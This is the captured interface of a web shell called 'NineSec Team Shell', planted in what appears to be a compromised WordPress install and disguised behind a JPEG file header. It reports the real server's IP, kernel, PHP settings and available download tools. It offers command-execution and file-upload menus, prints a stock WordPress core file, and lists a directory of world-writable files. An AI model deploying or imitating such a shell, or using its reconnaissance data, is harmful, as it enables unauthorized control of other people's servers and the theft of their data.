�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/wp-includes/blocks/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/wp-includes/blocks/navigation-submenu.php
<?php
/**
 * Server-side rendering of the `core/navigation-submenu` block.
 *
 * @package WordPress
 */

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the navigation markup in the front-end.
 *
 * @param  array $context Navigation block context.
 * @return array Font size CSS classes and inline styles.
 */
function block_core_navigation_submenu_build_css_font_sizes( $context ) {
	// CSS classes.
	$font_sizes = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	$has_named_font_size  = array_key_exists( 'fontSize', $context );
	$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes['inline_styles'] = sprintf(
			'font-size: %s;',
			wp_get_typography_font_size_value(
				array(
					'size' => $context['style']['typography']['fontSize'],
				)
			)
		);
	}

	return $font_sizes;
}

/**
 * Returns the top-level submenu SVG chevron icon.
 *
 * @return string
 */
function block_core_navigation_submenu_render_submenu_icon() {
	return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
}

/**
 * Renders the `core/navigation-submenu` block.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the post content with the legacy widget added.
 */
function render_block_core_navigation_submenu( $attributes, $content, $block ) {
	$navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] );
	$is_post_type           = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind'];
	$is_post_type           = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] );

	// Don't render the block's subtree if it is a draft.
	if ( $is_post_type && $navigation_link_has_id && 'publish' !== get_post_status( $attributes['id'] ) ) {
		return '';
	}

	// Don't render the block's subtree if it has no label.
	if ( empty( $attributes['label'] ) ) {
		return '';
	}

	$font_sizes      = block_core_navigation_submenu_build_css_font_sizes( $block->context );
	$style_attribute = $font_sizes['inline_styles'];

	$css_classes = trim( implode( ' ', $font_sizes['css_classes'] ) );
	$has_submenu = count( $block->inner_blocks ) > 0;
	$kind        = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] );
	$is_active   = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind );

	$show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'];
	$open_on_click           = isset( $block->context['openSubmenusOnClick'] ) && $block->context['openSubmenusOnClick'];
	$open_on_hover_and_click = isset( $block->context['openSubmenusOnClick'] ) && ! $block->context['openSubmenusOnClick'] &&
		$show_submenu_indicators;

	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) .
			( $open_on_click ? ' open-on-click' : '' ) . ( $open_on_hover_and_click ? ' open-on-hover-click' : '' ) .
			( $is_active ? ' current-menu-item' : '' ),
			'style' => $style_attribute,
		)
	);

	$label = '';

	if ( isset( $attributes['label'] ) ) {
		$label .= wp_kses_post( $attributes['label'] );
	}

	$aria_label = sprintf(
		/* translators: Accessibility text. %s: Parent page title. */
		__( '%s submenu' ),
		wp_strip_all_tags( $label )
	);

	$html = '<li ' . $wrapper_attributes . '>';

	// If Submenus open on hover, we render an anchor tag with attributes.
	// If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click.
	if ( ! $open_on_click ) {
		$item_url = isset( $attributes['url'] ) ? $attributes['url'] : '';
		// Start appending HTML attributes to anchor tag.
		$html .= '<a class="wp-block-navigation-item__content"';

		// The href attribute on a and area elements is not required;
		// when those elements do not have href attributes they do not create hyperlinks.
		// But also The href attribute must have a value that is a valid URL potentially
		// surrounded by spaces.
		// see: https://html.spec.whatwg.org/multipage/links.html#links-created-by-a-and-area-elements.
		if ( ! empty( $item_url ) ) {
			$html .= ' href="' . esc_url( $item_url ) . '"';
		}

		if ( $is_active ) {
			$html .= ' aria-current="page"';
		}

		if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) {
			$html .= ' target="_blank"  ';
		}

		if ( isset( $attributes['rel'] ) ) {
			$html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"';
		} elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) {
			$html .= ' rel="nofollow"';
		}

		if ( isset( $attributes['title'] ) ) {
			$html .= ' title="' . esc_attr( $attributes['title'] ) . '"';
		}

		$html .= '>';
		// End appending HTML attributes to anchor tag.

		$html .= $label;

		$html .= '</a>';
		// End anchor tag content.

		if ( $show_submenu_indicators ) {
			// The submenu icon is rendered in a button here
			// so that there's a clickable element to open the submenu.
			$html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">' . block_core_navigation_submenu_render_submenu_icon() . '</button>';
		}
	} else {
		// If menus open on click, we render the parent as a button.
		$html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation-item__content wp-block-navigation-submenu__toggle" aria-expanded="false">';

		// Wrap title with span to isolate it from submenu icon.
		$html .= '<span class="wp-block-navigation-item__label">';

		$html .= $label;

		$html .= '</span>';

		$html .= '</button>';

		$html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_submenu_render_submenu_icon() . '</span>';

	}

	if ( $has_submenu ) {
		// Copy some attributes from the parent block to this one.
		// Ideally this would happen in the client when the block is created.
		if ( array_key_exists( 'overlayTextColor', $block->context ) ) {
			$attributes['textColor'] = $block->context['overlayTextColor'];
		}
		if ( array_key_exists( 'overlayBackgroundColor', $block->context ) ) {
			$attributes['backgroundColor'] = $block->context['overlayBackgroundColor'];
		}
		if ( array_key_exists( 'customOverlayTextColor', $block->context ) ) {
			$attributes['style']['color']['text'] = $block->context['customOverlayTextColor'];
		}
		if ( array_key_exists( 'customOverlayBackgroundColor', $block->context ) ) {
			$attributes['style']['color']['background'] = $block->context['customOverlayBackgroundColor'];
		}

		// This allows us to be able to get a response from wp_apply_colors_support.
		$block->block_type->supports['color'] = true;
		$colors_supports                      = wp_apply_colors_support( $block->block_type, $attributes );
		$css_classes                          = 'wp-block-navigation__submenu-container';
		if ( array_key_exists( 'class', $colors_supports ) ) {
			$css_classes .= ' ' . $colors_supports['class'];
		}

		$style_attribute = '';
		if ( array_key_exists( 'style', $colors_supports ) ) {
			$style_attribute = $colors_supports['style'];
		}

		$inner_blocks_html = '';
		foreach ( $block->inner_blocks as $inner_block ) {
			$inner_blocks_html .= $inner_block->render();
		}

		if ( strpos( $inner_blocks_html, 'current-menu-item' ) ) {
			$tag_processor = new WP_HTML_Tag_Processor( $html );
			while ( $tag_processor->next_tag( array( 'class_name' => 'wp-block-navigation-item__content' ) ) ) {
				$tag_processor->add_class( 'current-menu-ancestor' );
			}
			$html = $tag_processor->get_updated_html();
		}

		$wrapper_attributes = get_block_wrapper_attributes(
			array(
				'class' => $css_classes,
				'style' => $style_attribute,
			)
		);

		$html .= sprintf(
			'<ul %s>%s</ul>',
			$wrapper_attributes,
			$inner_blocks_html
		);

	}

	$html .= '</li>';

	return $html;
}

/**
 * Register the navigation submenu block.
 *
 * @uses render_block_core_navigation_submenu()
 * @throws WP_Error An WP_Error exception parsing the block definition.
 */
function register_block_core_navigation_submenu() {
	register_block_type_from_metadata(
		__DIR__ . '/navigation-submenu',
		array(
			'render_callback' => 'render_block_core_navigation_submenu',
		)
	);
}
add_action( 'init', 'register_block_core_navigation_submenu' );

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
January 15 2025 5:40:42
readytorun
0755
archives
--
September 11 2024 5:18:57
readytorun
0755
audio
--
September 11 2024 5:18:57
readytorun
0755
avatar
--
September 11 2024 5:18:57
readytorun
0755
block
--
September 11 2024 5:18:57
readytorun
0755
button
--
September 11 2024 5:18:57
readytorun
0755
buttons
--
September 11 2024 5:18:57
readytorun
0755
calendar
--
September 11 2024 5:18:57
readytorun
0755
categories
--
September 11 2024 5:18:57
readytorun
0755
code
--
September 11 2024 5:18:57
readytorun
0755
column
--
September 11 2024 5:18:57
readytorun
0755
columns
--
September 11 2024 5:18:57
readytorun
0755
comment-author-name
--
September 11 2024 5:18:57
readytorun
0755
comment-content
--
September 11 2024 5:18:57
readytorun
0755
comment-date
--
September 11 2024 5:18:57
readytorun
0755
comment-edit-link
--
September 11 2024 5:18:57
readytorun
0755
comment-reply-link
--
September 11 2024 5:18:57
readytorun
0755
comment-template
--
September 11 2024 5:18:57
readytorun
0755
comments
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-next
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-numbers
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-previous
--
September 11 2024 5:18:57
readytorun
0755
comments-title
--
September 11 2024 5:18:57
readytorun
0755
cover
--
November 14 2025 9:26:20
readytorun
0755
details
--
September 11 2024 5:18:57
readytorun
0755
embed
--
September 11 2024 5:18:57
readytorun
0755
file
--
September 11 2024 5:18:57
readytorun
0755
footnotes
--
September 11 2024 5:18:57
readytorun
0755
freeform
--
October 25 2025 3:08:29
readytorun
0755
gallery
--
September 11 2024 5:18:57
readytorun
0755
group
--
September 11 2024 5:18:57
readytorun
0755
heading
--
September 11 2024 5:18:57
readytorun
0755
home-link
--
September 11 2024 5:18:57
readytorun
0755
html
--
September 11 2024 5:18:57
readytorun
0755
image
--
September 11 2024 5:18:57
readytorun
0755
latest-comments
--
September 11 2024 5:18:57
readytorun
0755
latest-posts
--
September 11 2024 5:18:57
readytorun
0755
legacy-widget
--
September 11 2024 5:18:57
readytorun
0755
list
--
September 11 2024 5:18:57
readytorun
0755
list-item
--
September 11 2024 5:18:57
readytorun
0755
loginout
--
September 11 2024 5:18:57
readytorun
0755
media-text
--
September 11 2024 5:18:57
readytorun
0755
missing
--
September 11 2024 5:18:57
readytorun
0755
more
--
September 11 2024 5:18:57
readytorun
0755
navigation
--
September 11 2024 5:18:57
readytorun
0755
navigation-link
--
September 11 2024 5:18:57
readytorun
0755
navigation-submenu
--
September 11 2024 5:18:57
readytorun
0755
nextpage
--
September 11 2024 5:18:57
readytorun
0755
page-list
--
September 11 2024 5:18:57
readytorun
0755
page-list-item
--
September 11 2024 5:18:57
readytorun
0755
paragraph
--
September 11 2024 5:19:31
readytorun
0755
pattern
--
September 11 2024 5:18:57
readytorun
0755
post-author
--
September 11 2024 5:18:57
readytorun
0755
post-author-biography
--
September 11 2024 5:18:57
readytorun
0755
post-author-name
--
September 11 2024 5:18:57
readytorun
0755
post-comments-form
--
November 01 2025 8:15:34
readytorun
0755
post-content
--
September 11 2024 5:18:57
readytorun
0755
post-date
--
September 11 2024 5:18:57
readytorun
0755
post-excerpt
--
September 11 2024 5:18:57
readytorun
0755
post-featured-image
--
September 11 2024 5:18:57
readytorun
0755
post-navigation-link
--
September 11 2024 5:18:57
readytorun
0755
post-template
--
September 11 2024 5:18:57
readytorun
0755
post-terms
--
September 11 2024 5:18:57
readytorun
0755
post-title
--
September 11 2024 5:18:57
readytorun
0755
preformatted
--
September 11 2024 5:18:57
readytorun
0755
pullquote
--
September 11 2024 5:18:57
readytorun
0755
query
--
September 11 2024 5:18:57
readytorun
0755
query-no-results
--
September 11 2024 5:18:57
readytorun
0755
query-pagination
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-next
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-numbers
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-previous
--
October 25 2025 3:08:22
readytorun
0755
query-title
--
September 11 2024 5:18:57
readytorun
0755
quote
--
September 11 2024 5:18:57
readytorun
0755
read-more
--
September 11 2024 5:18:57
readytorun
0755
rss
--
September 11 2024 5:18:57
readytorun
0755
search
--
September 11 2024 5:18:57
readytorun
0755
separator
--
September 11 2024 5:18:57
readytorun
0755
shortcode
--
September 11 2024 5:18:57
readytorun
0755
site-logo
--
September 11 2024 5:18:57
readytorun
0755
site-tagline
--
September 11 2024 5:18:57
readytorun
0755
site-title
--
September 11 2024 5:18:57
readytorun
0755
social-link
--
September 11 2024 5:18:57
readytorun
0755
social-links
--
October 14 2024 9:05:58
readytorun
0755
spacer
--
September 11 2024 5:18:57
readytorun
0755
table
--
September 11 2024 5:18:57
readytorun
0755
tag-cloud
--
September 11 2024 5:18:57
readytorun
0755
template-part
--
September 11 2024 5:18:57
readytorun
0755
term-description
--
September 11 2024 5:18:57
readytorun
0755
text-columns
--
September 11 2024 5:18:57
readytorun
0755
verse
--
October 25 2025 3:08:27
readytorun
0755
video
--
September 11 2024 5:18:57
readytorun
0755
widget-group
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
archives.php
2.458 KB
March 04 2024 2:19:00
readytorun
0777
avatar.php
5.503 KB
November 10 2023 1:05:53
readytorun
0777
block.php
1.566 KB
August 28 2023 5:03:53
readytorun
0777
blocks-json.php
159.815 KB
November 10 2023 1:05:53
readytorun
0777
calendar.php
5.986 KB
November 10 2023 1:05:53
readytorun
0777
categories.php
2.781 KB
August 28 2023 5:03:53
readytorun
0777
comment-author-name.php
2.046 KB
August 28 2023 5:03:52
readytorun
0777
comment-content.php
2.364 KB
August 28 2023 5:03:52
readytorun
0777
comment-date.php
1.559 KB
August 28 2023 5:03:53
readytorun
0777
comment-edit-link.php
1.636 KB
August 28 2023 5:03:53
readytorun
0777
comment-reply-link.php
1.989 KB
August 28 2023 5:03:53
readytorun
0777
comment-template.php
4.352 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination-next.php
1.811 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination-numbers.php
1.557 KB
August 28 2023 5:03:53
readytorun
0777
comments-pagination-previous.php
1.607 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination.php
1.134 KB
August 28 2023 5:03:53
readytorun
0777
comments-title.php
2.67 KB
August 28 2023 5:03:52
readytorun
0777
comments.php
6.469 KB
August 28 2023 5:03:52
readytorun
0777
cover.php
2.452 KB
August 28 2023 5:03:53
readytorun
0777
file.php
3.261 KB
November 10 2023 1:05:53
readytorun
0777
footnotes.php
3.031 KB
November 10 2023 1:05:53
readytorun
0777
gallery.php
4.836 KB
November 10 2023 1:05:53
readytorun
0777
heading.php
1.233 KB
August 28 2023 5:03:52
readytorun
0777
home-link.php
5.192 KB
November 10 2023 1:05:53
readytorun
0777
image.php
14.358 KB
November 10 2023 1:05:53
readytorun
0777
index.php
4.478 KB
November 10 2023 1:05:53
readytorun
0777
latest-comments.php
4.885 KB
August 28 2023 5:03:53
readytorun
0777
latest-posts.php
8.17 KB
November 10 2023 1:05:53
readytorun
0777
legacy-widget.php
3.811 KB
August 28 2023 5:03:52
readytorun
0777
loginout.php
1.348 KB
August 28 2023 5:03:52
readytorun
0777
navigation-link.php
11.649 KB
August 28 2023 5:03:54
readytorun
0777
navigation-submenu.php
8.814 KB
November 10 2023 1:05:53
readytorun
0777
navigation.php
37.307 KB
November 10 2023 1:05:53
readytorun
0777
page-list-item.php
0.334 KB
August 28 2023 5:03:52
readytorun
0777
page-list.php
13.137 KB
August 28 2023 5:03:53
readytorun
0777
pattern.php
1.404 KB
November 10 2023 1:05:53
readytorun
0777
post-author-biography.php
1.414 KB
August 28 2023 5:03:53
readytorun
0777
post-author-name.php
1.705 KB
August 28 2023 5:03:53
readytorun
0777
post-author.php
2.507 KB
August 28 2023 5:03:53
readytorun
0777
post-comments-form.php
2.684 KB
August 28 2023 5:03:52
readytorun
0777
post-content.php
2.068 KB
November 10 2023 1:05:53
readytorun
0777
post-date.php
2.289 KB
August 28 2023 5:03:52
readytorun
0777
post-excerpt.php
3.329 KB
November 10 2023 1:05:53
readytorun
0777
post-featured-image.php
7.374 KB
November 10 2023 1:05:53
readytorun
0777
post-navigation-link.php
4.378 KB
November 10 2023 1:05:53
readytorun
0777
post-template.php
5.521 KB
November 10 2023 1:05:53
readytorun
0777
post-terms.php
3.307 KB
November 10 2023 1:05:53
readytorun
0777
post-title.php
2.019 KB
August 28 2023 5:03:52
readytorun
0777
query-no-results.php
1.711 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-next.php
3.596 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-numbers.php
4.409 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-previous.php
3.052 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination.php
1.111 KB
August 28 2023 5:03:52
readytorun
0777
query-title.php
2.012 KB
August 28 2023 5:03:53
readytorun
0777
query.php
7.163 KB
January 31 2024 5:29:18
readytorun
0777
read-more.php
1.75 KB
August 28 2023 5:03:51
readytorun
0777
require-dynamic-blocks.php
3.852 KB
August 28 2023 5:03:53
readytorun
0777
require-static-blocks.php
0.523 KB
August 28 2023 5:03:54
readytorun
0777
rss.php
3.834 KB
August 28 2023 5:03:51
readytorun
0777
search.php
23.936 KB
November 10 2023 1:05:53
readytorun
0777
shortcode.php
0.681 KB
August 28 2023 5:03:52
readytorun
0777
site-logo.php
5.794 KB
August 28 2023 5:03:52
readytorun
0777
site-tagline.php
0.971 KB
August 28 2023 5:03:51
readytorun
0777
site-title.php
1.729 KB
August 28 2023 5:03:52
readytorun
0777
social-link.php
60.442 KB
November 10 2023 1:05:53
readytorun
0777
tag-cloud.php
1.37 KB
August 28 2023 5:03:54
readytorun
0777
template-part.php
9.436 KB
November 10 2023 1:05:53
readytorun
0777
term-description.php
1.268 KB
August 28 2023 5:03:51
readytorun
0777
widget-group.php
2.115 KB
August 28 2023 5:03:53
readytorun
0777

NineSec Team - 2022